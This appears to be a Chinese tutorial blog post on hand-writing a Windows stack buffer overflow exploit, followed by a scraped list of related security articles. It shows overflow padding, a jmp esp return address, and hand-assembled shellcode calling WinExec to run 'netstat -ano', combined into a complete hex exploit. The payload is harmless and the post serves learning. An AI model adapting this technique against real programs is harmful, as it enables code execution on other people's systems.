0x01 介绍

Exploit 的英文意思就是利用,它在黑客眼里就是漏洞利用。有漏洞不一定就有Exploit(利用),有Exploit就肯定有漏洞。编写缓冲区溢出的Exploit分为3个方面:漏洞溢出长度+返回地址利用+shellcode

测试环境:C-free5 + Windows10 + 2019年1月25日

0x02 测试漏洞溢出长度

1、测试漏洞溢出长度意思是看看可利用的漏洞需要多少字节溢出到返回地址,下面是示例程序



2、这个程序储存test[5]这个字符串变量的栈地址是这样的



3、所以需要24个字节才能完全覆盖返回地址(20到24的4个字节为返回地址),下面是溢出的16进制代码共16字节,那么溢出的代码就完成了,下面要利用返回地址

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41

0x03 返回地址利用

1、程序已经覆盖了返回地址了,那怎么才能跳到我们的shellcode呢,这时候就需要利用返回地址了,学习的时候讲了一种方法就是利用jmp esp来跳到shellcode,意思是溢出到返回地址返回的时候(esp这时候是指向返回地址的),利用返回地址跳到jmp esp这个语句,之后执行jmp esp就会跳到原先的返回地址,之后的数据代码就会被当作程序代码执行,从而达到了返回地址的利用

2、那么怎么找到jmp esp这个语句呢,需要编写特定的程序在常驻在内存中的dll中寻找,这里我网上搜索了一个,恰好我的windows10操作系统能用(可能开了过多的服务…),以下就是返回地址0x7FFA4512

"\x12\x45\xfa\x7f"

0x04 编写shellcode

1、shellcode就是执行的代码,至于怎么执行依据功能而定,比如简单的可以弹出对话框、执行cmd程序、关机等,复杂的可能进行网络通讯,监控系统,关闭杀毒软件,传输木马病毒等等

2、如何编写shellcode呢,要想被系统执行,通常为16进制的汇编代码,利用OD就可以编写了,这里我编写的是执行netstat -ano这个系统命令

ps:编写shellcode有非常多的问题,主要体现在API函数的调用上面,只要调用的时候除了一点点错误,系统都不会将数据复制进来,换句话说只要一个API出错,这个API下面的代码都白搭,都不会执行卡在那了。下图代码的意思就不说了,自己百度,不然又是几个小时



3、代码给贴出来了,如果不懂可以看:栈储存字符串的原理

push ebp // 压入ebp,保存环境

mov ebp,esp // 这个不多说了吧

push eax // 预留16字节栈空间储存"netstat -ano"

push eax // push一个eax4个字节

push eax

push eax

mov byte ptr ss:[ebp-0x10],0x6E // 字符串 “n”

mov byte ptr ss:[ebp-0xF],0x65 // 字符串 “e”

mov byte ptr ss:[ebp-0xE],0x74 // 字符串 “t”

mov byte ptr ss:[ebp-0xD],0x73 // 字符串 “s”

mov byte ptr ss:[ebp-0xC],0x74 // 字符串 “t”

mov byte ptr ss:[ebp-0xB],0x61 // 字符串 “a”

mov byte ptr ss:[ebp-0xA],0x74 // 字符串 “t”

mov byte ptr ss:[ebp-0x9],0x20 // 字符串 “空格”

mov byte ptr ss:[ebp-0x8],0x2D // 字符串 “-”

mov byte ptr ss:[ebp-0x7],0x61 // 字符串 “a”

mov byte ptr ss:[ebp-0x6],0x6E // 字符串 “n”

mov byte ptr ss:[ebp-0x5],0x6F // 字符串 “o”

push 0x1 // 压入第二个参数0x1也就是SW_SHOWNORMAL(汇编调用API压参数是反过来的)

lea eax,dword ptr ss:[ebp-0x10]

push eax //压入第一个参数也就是字符串“netstat -ano”的首地址ebp-0x10

call WinExec //调用WinExec这个函数,这个注意了每台机器上的机器码可能不同

4、贴出WinExec函数原型

5、对应的机器码,就是OD代码右边的东西

"\x55"
"\x8b\xec"
"\x50"
"\x50"
"\x50"
"\x50"
"\xc6\x45\xf0\x6e"
"\xc6\x45\xf1\x65"
"\xc6\x45\xf2\x74"
"\xc6\x45\xf3\x73"
"\xc6\x45\xf4\x74"
"\xc6\x45\xf5\x61"
"\xc6\x45\xf6\x74"
"\xc6\x45\xf7\x20"
"\xc6\x45\xf8\x2d"
"\xc6\x45\xf9\x61"
"\xc6\x45\xfa\x6e"
"\xc6\x45\xfb\x6f"
"\x6a\x01"
"\x8d\x45\xf0"
"\x50"
"\xe8\x16\x3a\xb0\x74"

0x5 组合代码形成Exploit

16进制代码的顺序为:漏洞溢出长度+返回地址利用+shellcode

"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x41\x41\x41\x41" // 溢出代码
"\x12\x45\xfa\x7f" // 返回地址
"\x55" // shellcode
"\x8b\xec"
"\x50"
"\x50"
"\x50"
"\x50"
"\xc6\x45\xf0\x6e"
"\xc6\x45\xf1\x65"
"\xc6\x45\xf2\x74"
"\xc6\x45\xf3\x73"
"\xc6\x45\xf4\x74"
"\xc6\x45\xf5\x61"
"\xc6\x45\xf6\x74"
"\xc6\x45\xf7\x20"
"\xc6\x45\xf8\x2d"
"\xc6\x45\xf9\x61"
"\xc6\x45\xfa\x6e"
"\xc6\x45\xfb\x6f"
"\x6a\x01"
"\x8d\x45\xf0"
"\x50"
"\xe8\x16\x3a\xb0\x74"

0x6 测试







成功运行了netstat -ano这个命令,本次学习测试到此结束

缓冲区溢出之栈溢出利用(手动编写无 payload 的 Exploit)的更多相关文章

  1. Kali学习笔记22:缓冲区溢出漏洞利用实验

    实验机器: Kali虚拟机一台(192.168.163.133) Windows XP虚拟机一台(192.168.163.130) 如何用Kali虚拟机一步一步“黑掉”这个windowsXP虚拟机呢? ...

  2. CSAPP 缓冲区溢出试验

    缓冲区溢出试验是CSAPP课后试验之一,目的是: 更好的理解什么是缓冲区溢出 如何攻击带有缓冲区溢出漏洞的程序 如何编写出更加安全的代码 了解并理解编译器和操作系统为了让程序更加安全而提供的几种特性 ...

  3. Kali学习笔记21:缓冲区溢出实验(漏洞发现)

    上一篇文章,我已经做好了缓冲区溢出实验的准备工作: https://www.cnblogs.com/xuyiqing/p/9835561.html 下面就是Kali虚拟机对缓冲区溢出的测试: 已经知道 ...

  4. Linux下缓冲区溢出攻击的原理及对策(转载)

    前言 从逻辑上讲进程的堆栈是由多个堆栈帧构成的,其中每个堆栈帧都对应一个函数调用.当函数调用发生时,新的堆栈帧被压入堆栈:当函数返回时,相应的堆栈帧从堆栈中弹出.尽管堆栈帧结构的引入为在高级语言中实现 ...

  5. CVE-2009-0927-Adobe Reader缓冲区溢出漏洞分析

    0x00概述: 此漏洞的成因是由于Adobe Reader在处理PDF文档中所包含的JavaScript脚本时的Collab对象的getlcon()方式不正确处理输入的参数,而产生的缓冲区溢出,成功利 ...

  6. 缓冲区溢出利用与ShellCode编写

    一.实验目的 熟悉编写shellCode的流程 掌握缓冲区溢出的利用 二.实验环境 系统环境:Windows环境 软件环境:C++ ,缓冲区溢出文件链接 三.实验原理 要实施一次有效的缓冲区溢出攻击, ...

  7. 缓冲区溢出利用——捕获eip的傻瓜式指南

    [译文] 摘要:为一个简单的有漏洞程序写一个简单的缓冲区溢出EXP,聚焦于遇到的问题和关键性的教训,提供详细而彻底的描述 内容表:1. I pity the fool, who can't smash ...

  8. 网络安全(超级详细)零基础带你一步一步走进缓冲区溢出漏洞和shellcode编写!

    零基础带你走进缓冲区溢出,编写shellcode. 写在前面的话:本人是以一个零基础者角度来带着大家去理解缓冲区溢出漏洞,当然如果你是开发者更好. 注:如果有转载请注明出处!创作不易.谢谢合作. 0. ...

  9. 缓冲区溢出分析第05课:编写通用的ShellCode

    前言 我们这次的实验所要研究的是如何编写通用的ShellCode.可能大家会有疑惑,我们上次所编写的ShellCode已经能够很好地完成任务,哪里不通用了呢?其实这就是因为我们上次所编写的ShellC ...

随机推荐

  1. OWASP TOP 10 详解

      OWASP--开放式web应用程序安全项目 参考文献:袁鸣凯.OWASP Top 10十大风险 – 10个最重大的Web应用风险与攻防.2016-9-18. https://blog.csdn.n ...

  2. Intellij IDEA设置默认字符编码

    file---settings--editor--file encoding里面设置

  3. 通过unity Distribution Portal发布华为渠道的游戏

    背景说明 前面几个帖子详细介绍了: Unity Editor安装和Apk打包 手把手教您快速运行Unity提供的华为游戏demo 使用unity完成华为游戏的初始化和华为帐号登录 快速开发Unity游 ...

  4. 在B站刷视频多倍速操作

    B站多倍数播放 1. 最初天真版 F12 或者笔记本(Fn+F12) console控制台 输入 document.querySelector('video').playbackRate = 4: - ...

  5. java进阶(38)--线程安全

    文档目录: 一.概念 二.解决方案 三.举例说明 ---------------------------------------分割线:正文------------------------------ ...

  6. vue-cli2 生成的项目打包优化(持续学习中)

    1.昨天看到自己的项目每次打包后都是30M左右,就觉得这个打包后的dist文件太大了,能不能小点呢, 然后就看网上的资料,提供了好多优化的办法,但是我只用了一个,后期再不断的优化吧. 打开工程项目文件 ...

  7. Kafka 消息存储机制

    Kafka 消息以 Partition 作为存储单元,那么在 Partition 内消息是以什么样的格式存储的呢,如何处理 Partition 中的消息,又有哪些安全策略来保证消息不会丢失呢,这一篇我 ...

  8. 鸿蒙开源第三方组件——SlidingMenu_ohos侧滑菜单组件

    目录: 1.前言 2.背景 3.效果展示 4.Sample解析 5.Library解析 6.<鸿蒙开源第三方组件>文章合集 前言 基于安卓平台的SlidingMenu侧滑菜单组件(http ...

  9. 【C/C++】面相对象开发之封装

    封装继承多态是面向对象程序开发的基础概念.是实现面向对象的基本要素. 封装 程序开发,最核心价值,是数据. 程序其实是读取数据,操作数据,保存数据等一系列操作. 那么经过良好组织过的数据,将使编程事半 ...

  10. 零基础学Java,PayPal技术专家手把手带你入门

    在最权威的 TIOBE 编程语言排名榜单上,Java 常年稳居第一,可以说是世界上应用最为广泛的一门语言. 同时,在微服务.云计算.大数据.Android App 开发等领域,Java 也是当之无愧的 ...